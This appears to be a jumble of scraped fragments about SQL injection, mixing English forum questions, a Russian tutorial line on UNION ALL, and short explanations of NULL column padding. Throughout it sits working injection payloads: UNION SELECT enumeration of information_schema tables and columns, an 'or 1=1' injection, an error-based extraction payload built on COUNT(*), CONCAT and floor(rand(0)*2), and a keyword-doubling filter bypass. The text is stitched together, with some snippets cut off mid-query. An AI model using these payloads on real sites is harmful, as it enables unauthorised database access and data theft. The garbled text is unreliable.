(select 1 from(select count(*), concat(( select( select unhex(hex
If you had SELECT * FROM users and users had 4 columns, the UNION must also have 4 columns. As a result, they just used `NULL values to populate those columns.
select number, text from test_table union all select number, text from test_table_2. Здесь уже вывелись все строки, так как мы указали union all. А теперь давайте рассмотрим, какие могут быть ошибки даже в этом простом запросе.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_ schema.columns - since where clause cannot be used
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
select, is obvious. null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.
...(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY.
SELECT column_names FROM table_name WHERE column_name IS NOT NULL